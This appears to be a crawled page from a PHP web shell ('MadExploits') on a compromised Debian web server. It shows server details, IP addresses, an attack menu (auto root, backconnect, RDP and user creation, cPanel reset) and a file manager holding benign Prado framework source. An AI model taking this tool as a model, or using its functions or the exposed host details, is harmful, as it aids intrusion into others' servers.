Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.221.240.14
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
ActiveControls /
[ HOME SHELL ]
Name
Size
Permission
Action
IActiveControl.php
571
B
-rw-r--r--
ICallbackEventHandler.php
881
B
-rw-r--r--
TActiveBoundColumn.php
2.53
KB
-rw-r--r--
TActiveButton.php
4.19
KB
-rw-r--r--
TActiveButtonColumn.php
2.17
KB
-rw-r--r--
TActiveCheckBox.php
5.5
KB
-rw-r--r--
TActiveCheckBoxColumn.php
3.59
KB
-rw-r--r--
TActiveCheckBoxList.php
4.15
KB
-rw-r--r--
TActiveCheckBoxListItem.php
814
B
-rw-r--r--
TActiveClientScript.php
2.51
KB
-rw-r--r--
TActiveControlAdapter.php
4.76
KB
-rw-r--r--
TActiveCustomValidator.php
5.52
KB
-rw-r--r--
TActiveCustomValidatorClientSi...
2.33
KB
-rw-r--r--
TActiveDataGrid.php
7.38
KB
-rw-r--r--
TActiveDataGridPager.php
842
B
-rw-r--r--
TActiveDataGridPagerEventParam...
1.02
KB
-rw-r--r--
TActiveDataList.php
3.75
KB
-rw-r--r--
TActiveDatePicker.php
5.28
KB
-rw-r--r--
TActiveDatePickerClientScript....
1.28
KB
-rw-r--r--
TActiveDropDownList.php
4.26
KB
-rw-r--r--
TActiveDropDownListColumn.php
2.33
KB
-rw-r--r--
TActiveEditCommandColumn.php
2.08
KB
-rw-r--r--
TActiveFileUpload.php
16.59
KB
-rw-r--r--
TActiveFileUploadCallbackParam...
737
B
-rw-r--r--
TActiveFileUploadItem.php
1.36
KB
-rw-r--r--
TActiveHiddenField.php
1.76
KB
-rw-r--r--
TActiveHtmlArea.php
3.18
KB
-rw-r--r--
TActiveHtmlArea5.php
3.15
KB
-rw-r--r--
TActiveHyperLink.php
3.45
KB
-rw-r--r--
TActiveHyperLinkColumn.php
2.29
KB
-rw-r--r--
TActiveImage.php
3.06
KB
-rw-r--r--
TActiveImageButton.php
5.33
KB
-rw-r--r--
TActiveLabel.php
2.67
KB
-rw-r--r--
TActiveLinkButton.php
4.86
KB
-rw-r--r--
TActiveListBox.php
4.43
KB
-rw-r--r--
TActiveListControlAdapter.php
4.18
KB
-rw-r--r--
TActiveListItemCollection.php
2.88
KB
-rw-r--r--
TActiveLiteralColumn.php
2.73
KB
-rw-r--r--
TActiveMultiView.php
3.54
KB
-rw-r--r--
TActivePageAdapter.php
9.87
KB
-rw-r--r--
TActivePager.php
6.39
KB
-rw-r--r--
TActivePanel.php
2.77
KB
-rw-r--r--
TActiveRadioButton.php
5.56
KB
-rw-r--r--
TActiveRadioButtonItem.php
824
B
-rw-r--r--
TActiveRadioButtonList.php
3.84
KB
-rw-r--r--
TActiveRatingList.php
4.12
KB
-rw-r--r--
TActiveRepeater.php
4.45
KB
-rw-r--r--
TActiveTableCell.php
7.01
KB
-rw-r--r--
TActiveTableCellEventParameter...
1.77
KB
-rw-r--r--
TActiveTableRow.php
7.6
KB
-rw-r--r--
TActiveTableRowEventParameter....
1.78
KB
-rw-r--r--
TActiveTemplateColumn.php
2.56
KB
-rw-r--r--
TActiveTextBox.php
3.7
KB
-rw-r--r--
TBaseActiveCallbackControl.php
8.29
KB
-rw-r--r--
TBaseActiveControl.php
3.65
KB
-rw-r--r--
TCallback.php
2.95
KB
-rw-r--r--
TCallbackClientScript.php
24.66
KB
-rw-r--r--
TCallbackClientSide.php
8.14
KB
-rw-r--r--
TCallbackErrorHandler.php
3.53
KB
-rw-r--r--
TCallbackEventParameter.php
2.27
KB
-rw-r--r--
TCallbackOptions.php
1.26
KB
-rw-r--r--
TCallbackPageStateTracker.php
5.39
KB
-rw-r--r--
TCallbackResponseAdapter.php
2.38
KB
-rw-r--r--
TCallbackResponseWriter.php
1.67
KB
-rw-r--r--
TEventTriggeredCallback.php
2.38
KB
-rw-r--r--
TInPlaceTextBox.php
8.29
KB
-rw-r--r--
TInvalidCallbackException.php
595
B
-rw-r--r--
TMapCollectionDiff.php
874
B
-rw-r--r--
TScalarDiff.php
711
B
-rw-r--r--
TStyleDiff.php
2.35
KB
-rw-r--r--
TTimeTriggeredCallback.php
3.54
KB
-rw-r--r--
TTriggeredCallback.php
1.65
KB
-rw-r--r--
TValueTriggeredCallback.php
3.21
KB
-rw-r--r--
TViewStateDiff.php
1.07
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TActivePager.php
<?php /** * TActivePager class file. * * @author "gevik" (forum contributor) and Christophe Boulain (Christophe.Boulain@gmail.com) * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\ActiveControls; /** * Load active control adapter. */ use Prado\Web\UI\WebControls\TDisplayStyle; use Prado\Web\UI\WebControls\TLabel; use Prado\Web\UI\WebControls\TPager; use Prado\Web\UI\WebControls\TPagerButtonType; use Prado\Web\UI\WebControls\TPagerMode; use Prado\Web\UI\WebControls\TWebControl; /** * TActivePager is the active control counter part of TPager. * * When a page change is requested, TActivePager raises a callback instead of the * traditional postback. * * The {@link onCallback OnCallback} event is raised during a callback request * and it is raise <b>after</b> the {@link onPageIndexChanged OnPageIndexChanged} event. * * @author "gevik" (forum contributor) and Christophe Boulain (Christophe.Boulain@gmail.com) * @since 3.1.2 * @method TActiveControlAdapter getAdapter() */ class TActivePager extends TPager implements IActiveControl, ICallbackEventHandler { /** * Creates a new callback control, sets the adapter to * TActiveControlAdapter. If you override this class, be sure to set the * adapter appropriately by, for example, by calling this constructor. */ public function __construct() { parent::__construct(); $this->setAdapter(new TActiveControlAdapter($this)); } /** * @return TBaseActiveCallbackControl standard active control options. */ public function getActiveControl() { return $this->getAdapter()->getBaseActiveControl(); } /** * @return TCallbackClientSide client side request options. */ public function getClientSide() { return $this->getActiveControl()->getClientSide(); } /** * Raises the callback event. This method is required by {@link * ICallbackEventHandler} interface. * This method is mainly used by framework and control developers. * @param TCallbackEventParameter $param the event parameter */ public function raiseCallbackEvent($param) { $this->onCallback($param); } /** * This method is invoked when a callback is requested. The method raises * 'OnCallback' event to fire up the event handlers. If you override this * method, be sure to call the parent implementation so that the event * handler can be invoked. * @param TCallbackEventParameter $param event parameter to be passed to the event handlers */ public function onCallback($param) { $this->raiseEvent('OnCallback', $this, $param); } /** * Builds a dropdown list pager * Override parent implementation to build Active dropdown lists. */ protected function buildListPager() { $list = new TActiveDropDownList(); $list->getActiveControl()->setClientSide( $this->getClientSide() ); $this->getControls()->add($list); $list->setDataSource(range(1, $this->getPageCount())); $list->dataBind(); $list->setSelectedIndex($this->getCurrentPageIndex()); $list->setAutoPostBack(true); $list->attachEventHandler('OnSelectedIndexChanged', [$this, 'listIndexChanged']); $list->attachEventHandler('OnCallback', [$this, 'handleCallback']); } /** * Creates a pager button. * Override parent implementation to create, depending on the button type, a TActiveLinkButton, * a TActiveButton or a TActiveImageButton may be created. * * @param string $buttonType button type, either LinkButton or PushButton * @param bool $enabled whether the button should be enabled * @param string $text caption of the button * @param string $commandName CommandName corresponding to the OnCommand event of the button * @param string $commandParameter CommandParameter corresponding to the OnCommand event of the button * @return mixed the button instance */ protected function createPagerButton($buttonType, $enabled, $text, $commandName, $commandParameter) { if ($buttonType === TPagerButtonType::LinkButton) { if ($enabled) { $button = new TActiveLinkButton(); } else { $button = new TLabel(); $button->setText($text); $button->setCssClass($this->getButtonCssClass()); return $button; } } elseif ($buttonType === TPagerButtonType::ImageButton) { $button = new TActiveImageButton(); $button->setImageUrl($this->getPageImageUrl($text, $commandName)); if ($enabled) { $button->setVisible(true); } else { $button->setVisible(false); } } else { $button = new TActiveButton(); if (!$enabled) { $button->setEnabled(false); } } if ($buttonType === TPagerButtonType::ImageButton) { $button->setImageUrl($text); } $button->setText($text); $button->setCommandName($commandName); $button->setCommandParameter($commandParameter); $button->setCausesValidation(false); $button->setCssClass($this->getButtonCssClass()); $button->attachEventHandler('OnCallback', [$this, 'handleCallback']); $button->getActiveControl()->setClientSide( $this->getClientSide() ); return $button; } /** * Event handler to the OnCallback active buttons or active dropdownlist. * This handler will raise the {@link onCallback OnCallback} event * * @param mixed $sender * @param TCallbackEventParameter $param */ public function handleCallback($sender, $param) { // Update all the buttons pagers attached to the same control. // Dropdown pagers doesn't need to be re-rendered. $controlToPaginate = $this->getControlToPaginate(); foreach ($this->getNamingContainer()->findControlsByType('Prado\Web\UI\ActiveControls\TActivePager', false) as $control) { if ($control->getMode() !== TPagerMode::DropDownList && $control->getControlToPaginate() === $controlToPaginate) { $control->render($param->getNewWriter()); // FIXME : With some very fast machine, the getNewWriter() consecutive calls are in the same microsecond, resulting // of getting the same boundaries in ajax response. Wait 1 microsecond to avoid this. usleep(1); } } // Raise callback event $this->onCallback($param); } public function render($writer) { if ($this->getHasPreRendered()) { $this->setDisplay(($this->getPageCount() == 1) ? TDisplayStyle::None : TDisplayStyle::Dynamic); TWebControl::render($writer); if ($this->getActiveControl()->canUpdateClientSide()) { $this->getPage()->getCallbackClient()->replaceContent($this, $writer); } } else { $this->getPage()->getAdapter()->registerControlToRender($this, $writer); } } }
Close